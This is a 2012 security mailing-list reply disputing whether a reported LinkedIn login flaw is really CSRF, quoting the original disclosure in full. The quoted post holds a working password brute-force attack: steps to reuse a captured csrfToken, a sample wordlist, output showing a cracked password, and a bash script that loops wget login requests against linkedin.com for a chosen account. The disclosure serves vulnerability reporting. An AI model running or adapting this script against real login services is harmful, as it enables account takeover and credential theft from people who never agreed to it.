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Re: LinkedIn CSRF: Login Brute Force
From: Julius Kivimäki <julius.kivimaki () gmail com>
Date: Thu, 17 May 2012 20:50:53 +0300

Where's the csrf? All I see here is an useless bruteforce attack.

2012/5/17 Fernando A. Lagos B. <fernando () zerial org>

LinkedIn uses a Token into the login form which can be used many times
for different usernames. You can do it using the same IP or differents
IP, the token will not be verified.



I. Step by step
===============
1). Login into your LinkedIn account and capture the "sourceAlias" and
"csrfToken" variable (example:

sourceAlias=0_7r5yezRXCiA_H0CRD8sf6DhOjTKUNps5xGTqeX8EEoi&csrfToken=ajax%3A6265303044444817496)

2). Use the Token to login into another account:

https://www.linkedin.com/uas/login-submit?csrfToken=ajax%3A6265303044444817496&session_key=somebody () somedomain 
com&session_password=ANY_PASSWORD&session_redirect=&sourceAlias=0_7r5yezRXCiA_H0CRD8sf6DhOjTKUNps5xGTqeX8EEoi&source_app=&trk=secureless

session_key is the username and session_password is the password.

3). The password (session_password) is not correct If the requested URL
returns "The email address or password you provided does not match our
records", else the password if correct.



II. PoC
=======

1). The Wordlist (filename: w)
[zerial () belcebu ~]$ cat w
asdfgh
zxcvbnm
1234567
0987654
12345698
456_4567
123456qwert
qwsdcv
12wedfgh
123456qwerty
12345qwei
112233
[zerial () belcebu ~]$


2). Executing the script:
[zerial () belcebu ~]$ sh linkedin.sh panic () zerial org w
Password found: qwsdcv
[zerial () belcebu ~]$

This is the correct password for this test user.




III. Script
===========

#!/bin/bash
#
# usage: ./linkedin.sh username () domain com wordlist
#

TOKEN="ajax%3A6265303044444817496"
sourceAlias="0_7r5yezRXCiA_H0CRD8sf6DhOjTKUNps5xGTqeX8EEoi"

if [ ! -f $2 ];
then
       echo "file $2 does not exists"
       exit
fi

_USR=$1
for _PWD in $(cat $2);
do
       if [ $(echo -n $_PWD|wc -c) -lt 6 ];
       then
               echo "Ignoring $_PWD (must be grather than 6 chars)";
continue
       fi
       wget -o /dev/null -O -
"
https://www.linkedin.com/uas/login-submit?csrfToken=$TOKEN&session_key=$_USR&session_password=$_PWD&session_redirect=&sourceAlias=$sourceAlias&source_app=&trk=secureless
"|grep
'The email address or password you provided does not match our
records\|captcha' >>/dev/null
       if [ $? -eq 1 ];
       then
               echo "Password found: $_PWD"; exit;
       fi
done

echo "Password NOT found. Try later."
#EOF





More info (in spanish):

http://blog.zerial.org/seguridad/vulnerabilidad-en-linkedin-permite-obtencion-de-contrasenas/




cheers,
--
Fernando A. Lagos Berardi
Seguridad Informatica
GNU/Linux User #382319
Blog: http://blog.zerial.org
Jabber: zerial () jabberes org

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